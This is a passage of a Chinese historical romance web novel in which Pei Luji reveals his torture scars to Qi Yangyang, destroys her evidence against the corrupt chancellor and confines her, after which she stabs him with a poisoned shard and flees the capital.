裴陆戟沉吟片刻,道:“因为我先前从不知道这样做也是伤害你的一种方式,而且我这个人很坏,很不好,因为是你主动先提了和离,我无法挽回你,偏在那个时候一切都还没定下来,我需要蒙骗别人,让人觉得我会休弃你而另娶他人,没法向你解释。” “还有就是,就算向你解释了我并不会另娶他人,我想你大概率还是会想要和离的。” “为何?”她问。 裴陆戟苦涩道:“能逼得那样的你下定决心要同我和离,怎么可能单单是因为传出我要另娶的事,定是长久以来,你对我的失望叠加而成,才让你听了这样的传言后,连问都不来问我一句,就做出那样的决定。” “起初,我纵然知道是自己错了,但还是不知悔改,心里还在为你要同我和离,不要我之事,而心生埋怨。” “因为你是第一个无论怎样都不会离弃我的人,时间长了,我便被惯出脾气。” “我向你汲取那么多、那么多的感情需求,却不去想自己平日里的作为和性情,会扼杀你多大的热情。” “所以当你一有退缩的举动,服食避子汤,宁愿伤害自己身体都不愿意孕育我们共同的子嗣,我便接受不了。” “一个从不曾拥有过的人,一旦拥有过太多,而给予他这些的人,突然有一天告诉他,她给不了了,要走了,他便崩溃了。” 裴陆戟笑容越发地自嘲, “幸好有一天,有个人同我说,说我,根本就是个不懂爱人,只懂汲取的可怕家伙,我才惊醒,过往我所做一切,所说的话,所一举一动,皆是让你痛苦的源泉。” “我压根,是个不懂去爱,也不值得别人来爱的家伙,能得你的爱都是”他说到这里突然顿住,“都是我偷来的。” “所以,你今日同我解释这些,只是为了让我不难过?”戚央央讶异道。 他点点头,“我从前并不知道,我的不解释、不交代,也能给你带来那么大的伤害,现在知道了,我会尽我所能给你一个解释,哪怕你恢复记忆后,觉得那样的解释对你而言已经不再重要。” 他真的有在认真忏悔和尽力弥补 戚央央皱眉低着头想。 这么说来,她倒是想起来,他这人平日行事惯来当机立断,甚少同人解释什么,也不爱多说话,现在能跟她揪着一件过去那么久的事解释半天,确实不曾见过。 “那如果我把以前你待我不好的事都说出来,你真的都能改吗?”她想将计就计,既然他想修补失忆前二人的裂缝,那她就陪他玩一玩,说不定他就会更加深信了。 谁知说完,他立马点头,“好,等我一下。”然后转身走了。 戚央央被他撂在亭子里有些懵,等他再次回来,他已经收好东西,“走吧,我请了半天假,回府你可细细地同我说,说什么我都改。” 戚央央更懵了,玩儿这么认真的吗? 裴大人从政多年,从无请过一日假,不管年节还是休沐,甚至生辰,都无一例外在衙门渡过,今儿居然为了她一句话立马抛下工作陪她回去,让她一时间有些惊惶。 坐在马背他身前的时候,裴陆戟看出她心里的顾忌,还出言安慰道:“放心吧,公务我一并带回来了,是在衙门没那么方便,你也不自在,我才请假回府的。” 听他如此一说,央央才松了口气。 其实她似乎压根不必压力大啊,裴陆戟这人跟着秦相那样的奸佞之臣,他的公事想来对家国而言没那么重要。 回到国公府,央央寻了一处益于增益感情的环境,让如兰在小花园搬来了几盆花,坐在秋千架下同他一一道来这些年,她觉得委屈和苦闷的时候。 原本这些委屈都在找到沐大哥的时候起,就变得微不足道,不需要再花时间去化解了,但这会儿为了继续同裴陆戟演戏,她只能努力将这些都回想起来。 “少时我为了你去同别人打架,结果你半点好脸色都不给我,还骂我笨!” 裴陆戟点头,“是我说话太直,笨的人是我,明知道你心思单纯,像孩子般无暇,我就该先拉住你,不让你做这种损人不利己之事,然后手把手教你怎么四斤拨千两,怎么揪准每一个人不同的背景和弱点,花最小的力气做最大的事。” “那我每次闹得轰轰烈烈,让整个京城的人都知道我对你的感情,是为了驱赶你被退婚的伤痛,你却冷漠以待,让我一个人像个没人回应的丑角。” “是我不好,明明秦家那边的退婚是我主动用计促使的,却半点不同你透露,害你像傻子一样干着急,还作出让人笑话的事,我却没有主动去把你给拉回来,任由你在外面继续敲锣打鼓。我那时候脸皮子浅,在路上见了你不回应就算了,竟然还扭头绕路走。” 戚央央说一句,裴陆戟就必有回响似的,也回应她一句。 她以为自己说起这些的时候,会很难演,因为她有了沐大哥就不会再对这些事生气了,但当她揪出这些旧事重提的时候,还是能提起火气。 尤其是,听了他“必有回响”似的忏悔之后。 她秀丽的眉头皱了一皱,“我怎么听你话那么别扭,什么心思单纯,还孩子般无暇,你是在说我笨吗?然后你你还绕路走?你使计让秦家主动退的婚竟然从来没跟我说过,你知道我那时候我和姨母为了你做了多少事情吗?敢情你还嫌弃我们姨甥俩给你丢脸了是吧?” 虽然裴陆戟当年确实是这么想的,但如今的他已经不会那么认为了,不然他也不会有在大街上当众对她表白的话。 此时见她明显被他的话惹恼,他急得慌忙拉住她手,“不是!没有在说你笨!如果是现在,我绝对不会再绕路,你希望我在大众面前怎么公开我们的感情,都可以!事无巨细公开出来都可以!” 戚央央眉头皱得更紧,“我又不是那种喜欢什么都往外说的口无遮拦之人,谁会喜欢将自己私事往外说啊!你才是个大傻子,大笨蛋!” “是,我是。”裴陆戟严肃道。 从不曾见过一向运筹帷幄裴世子也有如此笨拙的时候,戚央央只觉得纳罕,随后她又继续细数往事了, “还有去岁,我生辰那天,你提早回来给我庆生,即便只是送了柄很普通寻常的木梳,我也很高兴,可你却趁我睡着把它掰断,你可知我后来得知你是因衙门里的大寺卿,你以前的上峰荣大人要过府一趟,你生怕我从前与他女儿为你而起争执的事会影响你和他的关系,竟然出此下策,逼我离府去修梳子,从而得知你原来并非真心送我礼物,乃是父亲逼迫你,我心里有多难受吗?” 他是耐着心听她说完全部,才出声的,“是谁告诉你那柄只是寻常普通的木梳?又是谁告诉你礼物是父亲逼迫我送的?我掰断它也并非是要让你难受,而是后来我发现那柄梳子被荣世倾的女儿看见了,他女儿是个疯子,在我还没想到办法找机会将她弄出京城之前,我不能因为一柄梳子害你置于危险之中,尤其我平日里公务还这么忙。” “那梳子是我听说你那段时间睡得不好,头发时常掉落许多,我知道从越崖那边的香木有凝神固发的作用,花了许多功夫才从那边弄来,梳子也是我用休息时间在衙门雕刻的,做工并不好,但不是全无心意在,毕竟刻了半月有余了,我亲自掰断难道不难受?” “那那前年呢,前年你我头一回圆`房,你碰过我后,就用棉被将我身体盖严实,还不许我以后再脱衣裳,说是见着我身体恶心” 裴陆戟沉默下来,戚央央以为他亏说不出话,不料他却开始窸窸窣窣解自己衣裳。 “你你在干什么??”戚央央虽然必须继续演戏,但看见他在自己面前脱衣裳,终究感觉不适应,把脸别了过去。 第82章 他声音越来越低 “我其实也挣扎过许久, 不知该不该让你看见我这具身体” 裴陆戟说着,放慢了解衣的速度, “因为就连我自己都厌恶得不行, 从前我不想让你看见,所以你不觉得我们每次同`房, 我都穿着整齐, 我不许你脱`衣裳, 是因为怕你脱了之后, 也开始要求我脱” “我从前总口出恶言,伤害了你而不自知, 就因为这该死的自尊心,这具该死残破的身体”他说完, 像是极度憎恶鄙弃自己的所作所为一样,一下就扯开了最后一件衣裳。 他的肤色像那些泛着冷意的白色瓷器, 有种尖锐而硬冷的感觉, 而正因为这身亮眼的肤色, 显得身上那些纵横交错有如蜈蚣般丑陋的疤痕是那样可怖。 戚央央起先不敢看, 但看了之后,只觉得有种冲击心灵的震颤感。 盯着他身上的每一道伤痕来看, 盯久了的话,就会让人不由自主去揣摩这道伤是怎么形成的, 是烙铁烧红了狠狠印上去,是把皮肤逐片削下后重新长出的颜色不一致的肉,是被火烫融成丑陋模样的皮肤, 是被利器一下一下重挫出来,有的还跟衣物织物长在了一起,时经多年, 那些粗陋的织物早已嵌死在血肉里取不出 看完她整个人再也受不住趴在后方的秋千背上干呕。 那是对那些非人刑罚伤害的强烈不适。 “是到底是谁干的”戚央央干呕出来泪水,脸色发红,胃部还在强烈地反应,却半点东西都吐不出来,“到底是谁用这么残忍的刑具” “很丑陋、很可怕是不是?”他已经将衣裳重新穿上,干涩地笑着,“我起初看着自己的身体,也是像你这样” 看着她一如意料中的反应,他心脏绞着绞着疼痛,本不想吓着她,结果还是吓着了。 “什么是金玉其外败絮其中,你现在看见了,我也不向你藏着了”他声音越来越低,“从前向你藏着,对你态度恶劣,你伤心了,难过了,以后,我再也不藏了” “再也不藏了”他反复地呢喃。 戚央央感觉舒服些了,抬眼来看着他。 从前,她也曾这样仰视过他,在她眼中,他一直是高高在上,神圣不可侵犯活得像神像似的。 她虽然很努力靠近他,却从来不觉得自己靠近过。 可如今,他亲自将自己砸碎成瓷片,主动在她面前呈现那些不为人知的破碎,她突然觉得,原来,他也不过是像她一样,是个有血有肉,或许不那么完美,却真实活着的一个人。 她心底生出了一丝怜悯,而只仅仅是对同情不公和厄难遭遇的怜悯。 而正因为有了这丝怜悯,让她在他面前演起生情,就更逼真了一些。 她缓缓靠过去,坐在了他身边,伸手掀开他衣裳,再次直面那些丑陋的伤疤。 裴陆戟眉头紧皱,怔了一怔,但还是没有伸手阻止她动作。 戚央央指尖温暖,抚过他那些陈年伤疤的时候,动作极轻,像羽毛,又似细吻,拂过来又划过去,把原本应该蚀骨锥心的疼痛,瞬间变为了极旖`旎又缠`绵的记忆。 他看向她的灰蒙目光瞬间放晴。 只听她用细软又温柔的话语说道:“丑陋的从来不是承受这些罪恶的人,而是那些施加罪恶的人,我相信郎君的为人,倘若郎君当真有罪,罪至受刑,又怎么可能后来成为了这满京城人眼里的第一公子呢?” 戚央央知道十多年前的羌北活死人窟囚关俘虏的刑场,他也曾去过,身上如麻似栗般的可怕旧伤,猜就是那次留下的。 被关在活死人窟的俘虏众多,大多都似她一样,只是被关进去,没怎么受刑的,有些无关紧要直接被杀干脆利索的,但只有极少数真正重要的俘虏,才会像他一样,被秘密关起,受尽酷刑折磨,为了某些目的的达成。 “郎君不管是什么样子,都是我心目中独一无二的郎君,以前本不必在意这些,以后在我面前也不必在意的。” 她说完,俯身极郑重地在一道蜈蚣似的疤痕上,印下一吻。 裴陆戟黑沉的瞳孔猛地扩大。 这一刻,他再也没忍住,将人深深地抱了起来。 戚央央被他抱着,做好了这次要与他亲吻的心准备。 他紧紧地抱着她,过了好久好久,久到她以为自己就快要与他的骨血融合一起了,他才缓缓地松开她。 她知道他情之所至,要亲吻她了,所以当他鼻息抚过她脸颊,用大掌托起她后颈的时候,她轻轻地,闭上眼睛,仰抬着脸。 “如果”他声音极其沉哑,“这一切都是真的,那就好了。” 他鼻息灼热地扑在她脸上,说了一句莫名其妙的话,惹得戚央央心尖颤跳不停。 什么意思?他发现了吗? 他随后很快笑了笑,“如果,你恢复记忆后,仍会这样想,那就好了。” 她的心安定下来。 他最终还是没有亲她,只是极轻地、用鼻尖轻轻触碰了她鼻梁一下,就松开了。 “好了,”他声音低磁温柔,笑道,“说好了在你记忆恢复前不碰你的,我不会食言。” 戚央央看着他,松了口气的同时,又觉得应该演一演,“可是” 他轻轻替她捋好头发,在她发间揉了揉,这个动作是兄长们在世时,安慰她最喜欢做的动作,能给她带来安心。 “你只要记得,你是最好的,值得最好的感情,就算我没有亲、没有碰你,那也只是因为我不配,而并非是你的原因。倘若往后你不喜欢我了,又不巧碰上像我这样不碰你、不亲近你的人,你也不要再为这样的事情难过伤心。” “因为那是因为你值得更好。” “我今日下定决心,哪怕冒着你会厌弃我的风险,也要向你坦明这一切,就是希望告诉你这些。” 他认真地看着她道。 · 那日来给裴陆戟捎资料催其复婚的人再也没有看到,裴陆戟和戚央央,也没有去衙门办复婚的文书。 裴陆戟告诉她,当初逼她和离是因为他那时候做的事有可能害她受攻击,但现在不跟她复婚是因为,希望在她恢复记忆之后不会后悔,所以复婚之事还是只能等到恢复记忆以后再说。 他说,只要有他在,就算他们不复婚,他也不会让人伤害她。 这些时日,裴陆戟对她毫无戒心,羌北那边建立的商队也得以源源不绝给她传递来不少信息。 她终于找到了不少证据,证明当年车壁大役中,军粮被转移转卖到各国的一些交易的证据,而且,当年偷运军粮出去的仓廪官也被她顺藤摸瓜找出来了。 那仓廪官几经易名,改头换面,但好歹还是被她查出来了。 他就是当今秦丞相的妹夫,堂堂礼部尚书,祁仁义。 当年车壁一役中还是她爹手底下一个小小的仓廪官,可那次战役之后,竟然迅速发起,继而同秦丞相攀结了关系,又成了礼部尚书,这里头一看就是大有文章的。 戚央央查出这些的时候,第一反应是感到恶心和闷得慌。 堂堂大晋朝丞相,一人之下万人之上,他的所思所谋策不是为黎民苍生谋未来,却擅用自己的职权,为自己谋私利。 车壁一役中,她爹是守边境的大将军,倘若战败,又有多少黎民百姓遭受生灵涂炭之罪?而他竟然可以只为自己一己之私,就倒卖了军粮,让她爹和哥哥们,还有万千战士枉死在异国荒山,马甲裹尸。 她恍然记起了裴陆戟先前同她说过的一番话,他说,制定规则的上位者倘若德行不配,私欲醺心,底下的人,只能成为鱼俎。 倘若大晋的一国之相德行不配,私欲醺心,不敢想象,整个国家底下,又有多少人变成他的刀下鱼俎? 戚央央因获悉的这些事,干呕了许久许久,比起看见裴陆戟身上所受私刑,还要恶心得多。 连夜,她就将收集到的那些证据,全部送到封州,让荆王来出面处置此事。 可就在她把这些证据发出的当夜,她就被裴陆戟的人在皮货铺附近抓住了,连同她手里所有的证据。 她被他软禁在扶风院,他朝她展示出本来面目的时候,她一点也不惊讶。 因为这段时日,她本来就抱着与他虚以逶迤的心态,潜伏在他身边伺机而动,只是可惜到最后她也没能救回沐大哥。 裴陆戟手里握着的是她这段时日以来千辛万苦得到的证据,他一袭玄色锦袍站在她面前,亲自点燃了火,将那些证据架在火上。 “不!不要!”戚央央再也挣扎忍不住失声。 裴陆戟眸里闪过一丝痛色,看着她:“我以为你这段时日是真的失忆了,真心留在我身边的,可你怎么可以骗我?” 夜风抚过一丝凉意,戚央央衣衫单薄被绑在院里一张椅子上,不觉瑟缩了一下,又直面向他,“世子,我知你根本不欲与秦相他们沆瀣一气,我拥有的这些证据,再加一些别的,即便不能将秦相势力连根拔起,也足以斩断他的左臂右膀了。” “那礼部尚书祁仁义便是当年车壁一役中,偷运走军饷,导致战败的罪魁祸首,只要拿这些证据逼迫他供出幕后之人,秦相等人必难逃一罪,即便秦家势大,可能伤及不了多少,但能挫伤他,救出冤枉之人,还我父兄清白,总归是好的。” 她极力劝道。 第83章 他说:“戚央央,你还是太心…… 谁知裴陆戟只是用冷漠的眼神盯着她, 将手里的证据,一页一页投进燃烧旺盛的火堆中。 “不!不要啊——”戚央央心碎开了,那些证据原本只要交到荆王手上, 就可以为沐大哥平反,届时也有可能为她父兄平冤, 可此时就这么被裴陆戟烧为灰烬。 她剧烈挣扎之下, 竟然将束缚着她的布条挣断, 她也不知道自己是哪里来的力气, 也管不上这许多,气性上头, 就扑过去将面前的人一顿挠打。 而裴陆戟也不知怎么的,那么大的人, 被打了竟然也不知道躲避,就生生地站着任由她抓挠踢打。 她的指甲又尖又长, 没多久就把他的俊脸闹成一道道血痕。 本来近在眼前的希望, 一下被他撕碎, 任凭是谁都接受不了。 她把怨气往他身上发泄得七七八八之后, 气泄了,人就一下子没缓过来昏了过去。 她恍恍惚惚感觉自己昏倒在一个宽阔温暖的怀抱中, 好像有人把她抱回了屋里,还隔一阵子就过来摸她脉搏。 醒来的时候, 她感觉胸中的气仍未消,发现裴陆戟就在床头坐着,她便又对他好一顿撕咬挠打。 他全不反抗, 只是看她又激动不已,血气上涌的时候及时拉住她手,眯眼危险道:“你明知我依附着秦丞相, 又明知我为了把你留在身边只能与秦相虚以逶迤,可你却偏偏为了他,利用我,在我眼皮子底下搜集对秦相不利的证据,你让我怎么保你?!!” “我不用你保!!”戚央央憎恶道,“倘若你保我,就是要对他的罪行视而不见,极力掩盖他犯下的罪恶的话,那我宁愿去死!我看着你恶心!!” 裴陆戟缓缓松开了她的手,失笑道,“是啊,你看着我恶心你救沐江恩,就可以对我用欺骗隐瞒,你说你失忆,我可从来没有为了把你留下,就说些欺骗你的话!” “你没有欺骗?但你就选择哄着我,对过往之事选择性地透露,保留住对你不利的部分,裴陆戟,你这也敢说自己很光明,很君子吗?” “我确实手段不光明,”他笑,“我也从不想当那个君子,我只知道,拦下你,毁掉你手里的这些证据,我才能向秦相有所交代,而你,就乖乖待在这里,看着我怎么把你心上人弄死吧。” · 今日朝会,裴尚书甚少发言,全程都把脸低垂,但大臣还是能看出他脸上的抓伤,却无人敢在他面前提,怕触他霉头。 朝会结束后,群臣从承天门下往回走,秦丞相故意放慢脚步,走到了裴陆戟面前。 “她有所交代了吗?”秦相看着他脸上的抓痕,问。 裴陆戟低着头,脸色泛冷,“回禀丞相大人,她还是没有交代,并且她也已经恢复记忆,但下官已经将她囚禁起来,相信假以时日,必能问出她嘴里的话。” 秦相其实早已经派人盯紧了戚氏的一举一动,包括她在边境以外所收集到的罪证,以及那天晚上裴陆戟在皮货铺外将她抓回府,乃及私自烧掉证据的事,他都知晓。 他没有怪罪裴陆戟,只因他也知道,人都有把柄和私心,倘若裴陆戟全无私心和把柄,这反倒让他不放心。 反正罪证也被他烧掉,罪证交不交到他手里,其实也没那么紧要。 所以他拍了拍他肩膀,沉静道:“罢了,本官也知道你家中情况,你与你父亲的关系始终胶着,这节骨眼可不能再闹出什么父子不和,或者因戚氏一个弱质女流导致你被裴家除名族谱之事。” “只要你对本官忠心,本官亦可允许你小小的叛逆,戚氏,你想留着便留着吧。” 说完,他便负着手离开,裴陆戟始终垂着长睫,看不真切神色。 · 戚央央如今眼睛一睁开看见他守在她床头,她便对他一通打骂。 有时是扯他头发,撕他脸,有时则是逮住他就咬,仿佛要把怨气全部发泄在他身上似的。 她已经被扼住了所有的活路,从她在婚礼中途被他抓走,抑或是由始至终,就没有属于她的活路。 他那句话说得真是对极了,好极了: 弱肉强食的世界,有权势者制定世界的规则,而无权无势的人,只能在权势者定造的规则里艰难地沉浮,成为权势者的鱼俎。 她如今就只是他的鱼俎。 她想在自己死之前,也别让他好过,所以才张开尖牙利齿,垂死挣扎。 若能让他难受,那是最好不过的,不过不会,因为他就是个无心之人。 “裴陆戟,我真的高估你了,你才是那个,把我骗得团团转,把我蒙在鼓里的人。” “你不过就是利用我替你做事,故意装成对我一无所知,被我哄骗的样子,其实你和秦相他们一伙,就是想从我手中要到证据,包括那些在沐大哥那里要不出来的罪证。” “但是很可惜,我老实告诉你,本来我也想去取沐大哥搜集到的那些证据,但我来迟一步,证据已经不知被谁拿走了,你和秦相做的这一切,都是白费。” “你即使烧掉我手里的那些,还有一大半流失在外,相信天道总是公平的,你们这些罪人迟早会有被公诸出来的一天!” “你就是这么想我的?”裴陆戟站在阴暗处,目光一直在盯着她。 “不然呢?不然你堂堂裴世子,难道真的会爱上我,而做出那么多违背你意愿的愚蠢之事?怎么可能呢?” “若你不是因为有更大的图谋,又怎么可能如此小意讨好?我就是太笨了,才会时至今日才想明白这些。”她道。 “不,你根本就没有明白”他握住她双手,不让她再抽手出来挠人,同时用一条腿压住她还想往上踹的双腿。 他的气息越靠越近,戚央央顿时鼻子酸涩,眼泪滚落,把头歪过一边。 裴陆戟停止了继续往前,松了她的手,随即把手顺沿她细腻白皙的脖子上,轻轻握住,然后抵在她鬓边低低地笑,“所以现在的你才是真正的你,是吗?” “之前你装失忆,装得可真够好的,我把身上那些一直不敢示人的伤都给你看了,你亲它们时不会觉得厌恶?装得真好啊!我把弱点都示给你看了,可你却说,我是有更大的图谋,所以小意讨好?好,很好” 他笑着。 “我是有更大图谋啊我图谋将你困在这里,充当我的禁`脔,我要让你对先前背叛我的感情,付出重大的代价,我要让你死在这里!被我玩弄至死!” 他眼里越发地疯狂。 戚央央已经被他困在这院中有一些时日了,这段时间他每天都会送她菊花,如今她这屋中铺得满满当当的都是菊花盆栽。 从院子到游廊,从游廊到每一间房中,有时候菊花摆放得太乱,开得太艳,不好摆设,府里没有合适的花匠,他还会专门从外头请南边出名的花匠进府帮忙摆设和修剪。 此时他们共同躺着的床榻之下,都铺满了菊花盆栽,把榻脚都盖住了,在黑暗中往房里望去,密密集集的一片□□,看着像在墓地般瘆人。 戚央央这段时日已经演练过许多遍,她把花匠偶然摔碎的花盆碎片藏了起来,在他不知晓的时候,悄悄地藏进了床榻之下的花泥下,就是打算等待时机。 如今时机既到,她日日琢磨他这疯病的发作期,摘取菊花淬出液汁,混入就地取材的蟾皮、石灰,制成可对冲他药性的药粉,藏于指甲中,趁他来时便肆意抓挠,任其药粉渗进他皮肤血液里。 今夜,便是他最无力,最难以控制性的时刻。 她赶紧趁他病发之前的那段浑身会发软,最无力反抗的时期,猛地往床下花泥间抽出碎片,猛地扎进他腹部! 他被刺中腹部的那一刻,便有暗黑色的血液从他口中溢出。 可他脸上还是笑着的,用一种奇怪的眼神审视她,像是赞许又像是欣慰。 “戚央央你翅膀长挺硬啊。”他笑着,依旧没松开她,她惊惶之下,拔出他腹部的瓷碎,咬牙又给他补了一刀。 这下他总算缓缓松开握在她脖子上的手,刺目的鲜血一滴滴从他嘴唇滴落到手上,他便用这满是鲜血的手,轻轻抚弄她的鬓发,像先前学沐江恩的一样,最后一次替她好鬓发。 “你还淬了毒,是吗?”他对着她笑。 “只是微毒而已,会让你昏迷一段时间,待我走后,就算不服解药,你身上的毒都会自行运化掉。” “在权势和力量的世界里,我注定是鱼俎,但即便是如此,我也不会让自己死得太快,我要尽我之所能,让你们这些没良心的当权者看看,虽千万人,吾往矣!” 她说完,已经用他和自己的衣带拧绑成一起,利索地将他束绑起来。 裴陆戟在昏迷之前,一直笑得高兴地盯着那两处衣带相绑处,溢出血的唇微启,低声说着什么,戚央央已经听不大清了。 她得走了,荆王派了人通过每日进府的花匠给她通信,她知道今夜有接应她的人,她得赶紧趁着府里交更时逃出去。 最后他说了一句什么话当时没听大清,事后前尘慢慢浮出的时候,倒是回想拼凑起来了是一句什么话。 他说:“戚央央,你还是太心软了。” 第84章 他脸上无悲无喜,“听见了,…… 戚央央被荆王的人安排逃出京城, 却在最后出城的关键时刻,被大寺的张大人识破了逃跑路线,赶上来阻拦了。 那时她一身捡尸人的装扮, 却还是被张白石识破。 南边灾情,加之北边边境时有挑衅小战频发, 不少流民难民涌进京城, 虽然丞相下令城门关闭, 但还是有不少人趁乱涌进城来了, 秦相恐有细作进城,下命城内衙役, 但凡拿不出路引的异乡人,通通打死, 于是这段时间,城内堆积尸山可怖, 日日都有捡尸人进出城。 戚央央当时捡了一木头车, 身板瘦小的她故意作佝偻老头的打扮, 木头车上躺了一个少年, 刚才无人窥见的时候,就帮忙一起推木头车。 料想官兵不可能猜到要抓的姑娘会是推木头车的那个, 顶多按身形也会去翻车上的那位十几岁少年,而不是她。 可张白石就是一眼就识破了她。 好在他并不在人前拆穿, 而是等她运着一大车尸首出了城,才拦住她道:“戚姑娘请留步,张某有话要同姑娘说。” 意识到他可能是裴陆戟的人, 会来抓她,戚央央手里握紧了尸首底下藏着的刀。 “你放心,我只是来劝说几句, 不会强挡姑娘的路,裴少仲那家伙也不允许我挡你路的,一会我说完,若姑娘还是决定走,便随姑娘吧。” 张白石这么说,戚央央便稍稍松下口气,可手里的刀柄却仍旧握紧。 “我今日前来找戚姑娘你,少仲他并不知情,眼下他还因姑娘而受伤,躺在府里连衙门都上不了,却还是沿路安排人来混淆秦相派出的搜寻姑娘的人,所以姑娘才能如此无惊无险出城。” 戚央央听着眉头直皱,“你想告诉我什么?说他还是喜欢我,你想说服我回去他身边,继续当他的禁`脔吗?” “不不不,”张白石赶紧摆手,“他不会让你当禁`脔的,我该怎么跟你说这件事呢” “就由他的身世开始说起吧。” “在大多数人眼中,裴少仲出生在一个父族母族都是顶级世家的家族里,还是唯一的长子嫡孙,这样的殊荣,相信不管是谁都会羡慕不已。” “但其实,别人又如何知道,生在这样的门户家庭里的他,从小需要经受什么样的磨难呢?” “我们张家也是世家大族,虽然门庭不及裴家显赫,但在京城也是数一数二的,小时候我同少仲兄就是同窗,他那个时候还是个孩子,在我们还只知道捏泥玩像个泥猴一样时,他就表现出远超同龄人的睿智和成熟,先生经常在我们一群泥猴面前夸他,那时候他虽然也沉默寡言,鲜少跟人说话,但偶尔也会流露出,孩子般的需要。” “有一次我们学府有个同窗生辰,他母亲给他在学府办了生辰宴,那一天,他定定地看着那位同窗和爹娘说笑聊天的时候,眼神里满是羡慕,我亲眼看见。” “后来,我有次跟着我母亲赴宴,又在英国公府的后院看见他大冷天被脱掉衣裳跪在那里背书,我母亲心疼他,过去给他盖了一件衣裳,结果他母亲,就是英国公的原配夫人崔氏,端着世家大族的架子过来,将他身上的衣裳一把掀掉还给我母亲。” “那位崔氏夫人说,因为他辅助不好太子殿下的功课,她罚他在大冷天跪在那里背书,思考过错,她说他们崔家的人,生来就是要辅助好皇族,要当最顶尖的人才,光自己学好是不够的,必须要辅助好君主。” “我后来慢慢才知道,原来少仲兄从小便是在母亲如此苛刻的对待下成长,难怪我们一群孩子玩闹的时候,他总是一个人躲着安静地看书,不管冬天还是夏天,他总习惯穿长衫,盖住脖子手臂的长衫,因为崔氏夫人总会在他做得不够好的时候对他施行家法。” “我听说那个时候,崔氏夫人和英国公感情不好,英国公起先还会管一下,后面就任由崔氏夫人怎么对这个嫡子,都不管不问了。” “这个崔氏夫人之所以如此病态苛刻地对待她自己的亲儿,其实跟崔氏一族对她的影响,也有很大的作用。” “这位崔氏夫人,和崔家众多教养出来的女儿一样,都是崔氏一族用来拉拢各世家势力的工具,她们从小便被困在自己的院子里,每天学习琴棋书画,学习掌家,背诵各种世家势力,学习权衡利弊,学习如何去抉择,出阁那日以前,都不曾踏出过自己闺阁一步,能见到的人除了自小每天教导她们的先生和婆子,就见不到任何人。” “更残忍的是,崔家家主为了锻炼这些女儿们的心性,在她们小的时候会在她们身边放一只小宠,让她们饲养,慰藉心灵,但长大一点的时候,就会让她们亲自杀掉这只小宠,放血于碗中,蓄满一碗才可以出阁,倘若完成不了此项任务,会被崔家家主视为不合格,不合格的工具他便不会养了,会被他毁掉容颜和身份,发卖到市井最肮脏的窑子里。” “崔家的女儿们便是被这样锻炼出狠辣的心性,这一切一切,皆因为” “世家的利益和权势的诱惑,对这些人道德人性的摧折。” “这是裴少仲第一次说服我合作时,同我说过的话。” “你知道他一个顶尖世家的人,尽管小时候的苦难都过去了,如今他就是这世道的得益者,他为何会说出这样的话吗?” “那是因为,他遇见了一个人。” “这个人在他一生中最黑暗的时候,向他展示了光明的模样,然后他就一直记住了。” “你知道这人是谁吗?” 戚央央双眸冷然地看着他,她表现出来的心不在焉,显然是对这个问题不大敢兴趣。 张白石此刻觉得可笑,他觉得裴陆戟太可笑了。 他永远忘不了,裴陆戟同他说这些事的时候的样子,他只说了一次,说完他就牢牢地记住了,但他也说了,此事不可告诉旁人,尤其是戚央央。 他就是觉得替他感到不值,才会一路追过来,可当他看了她的态度,除了哀叹命运不公,却不能再说什么。 “张大人,真的很抱歉,我知道你跟他关系很好,或许他对我是有那么几分真心,我也为我伤了他的行为感到歉意,但是,我和他注定是不同路的人,如果他肯放我一马,我会对他感激不已。” 随着秋日处决的时间靠近,戚央央此刻只想早日离开京城,和王爷另想救出沐江恩的法子。 张白石终于忍不住,“你还是想走,是吗?即便是知道他留在秦相身边只是假意周旋,实际另有筹谋,你也还是想逃,是吗?” “裴世子为人怎样,是高风亮节也好,是与权势者同流合污也好,我只是一介鱼俎,是夏虫,是燕雀,所思所想也不过想求得所在意之人的安危,和我死去亲人的名节清明!我做不到像他一样替天下筹谋!我也只是一俗人罢了!烦请张大人放过我,勿要强迫我给他怎样的情感!” 本来同她说到这里,倘若她还是不愿意,他就该走了,但这段时日里裴陆戟对戚央央所做的一切事情,他都是看在眼里的。 从前他看着戚央央为裴陆戟所做的事心生不忍,如今他看裴陆戟为她所做之事,更加不忍。 他忍不住往前再次拦她道:“戚姑娘慢着!” “裴陆戟他!只是一个表面看起来朗月清风,其实内里阴鸷、偏执、嫉妒成性、阴暗不堪的人。” “而你,是维持裴陆戟这些美好假象的唯一由。” “你现在说抽身就抽身了,当初还演得那样山崩地裂,非他不可,这叫他如何受得了?” “你就不怕,他会死吗??你既如此惜命,惜你和你那位心上人的命,就不怕他死前拉你们一起??” 张白石已经想尽了一切能挽留住她的手段,在不告诉她所有真相的情况下,他只能做到这个程度了。 他从前从不会认为男`女之情是多么重要之事,直到他看着裴陆戟真的为了她做下的件件桩桩,也亲眼目睹明明是他亲手设计放走的她,而她走后,他那心如死灰的样子。 他不忍、他不忍啊 “你这么说,我就又回想了一下,”戚央央终于停下脚步,表情平静地与他道,“我试图想象了一下,我和他还能否继续在一起的可能性。” “真奇怪,以前爱他的时候,可以轰轰烈烈,什么都不管不顾,明明自己站在风雪中为他撑伞,也长了满手冻疮,明明自己也怕黑,却还壮着胆子教他抓萤虫,看他对自己冷言冷语,冷漠嘲讽,也甘之如饴、乐此不疲,但现在,我连站他旁边一会都觉得膈应得慌。” “所以,张大人,感情是不能勉强的,不爱了,你强留我在他身边,又有什么用呢?” 果然,还是留不住她,张白石终于明白,裴陆戟为何连挽留澄清自己的事都不做,宁愿痛苦也要送她离开。 实在是一旦是她认定了某个人的话,不管旁人如何做,都撼动不了她了。 看着她离开,张白石转身离去,不料,却在身后不远处的窄路,走出了一个头戴帷帽一脸病态的男子。 “你都听见了?”他犹豫道。 “嗯,”裴陆戟脸上无悲无喜,“听见了,她说连站我旁边一会,都觉得膈应得慌。” 第85章 他可能真的会死 张白石自知这次自己瞒着他追上她作说客, 是违背了他的意愿。 但裴陆戟此次的计划无疑于飞蛾扑火,就算他能成功,圣上也断不会再容另一个“秦相”的出现, 必会找机会杀他的。 他此举纵然能一举铲除秦相,将朝中秦相的爪牙连根拔起, 但代价付出太大, 这也是他蛰伏多年暗中筹谋多时的机会了。 他可能真的会死, 失败了, 会被秦相所杀,成功了, 会被圣上所杀。 兴许这一步棋他开始下的时候,就料到了会有这样的结局, 所以他对待感情时,下意识总不敢过于认真, 总是回避和持淡漠的态度。 “对不起, 少仲兄, 我只是”他心虚道。 “我明白, 也知道你不会听我的,你想去劝便劝吧, 只要你保守秘密,确保计划不外泄, 其他的随你。” 看着他病恹恹的苍白脸容,张白石不忍道:“你今日为何突然跑出来,是因为一早知道我所思所想, 还是” “想来见她最后一面?” 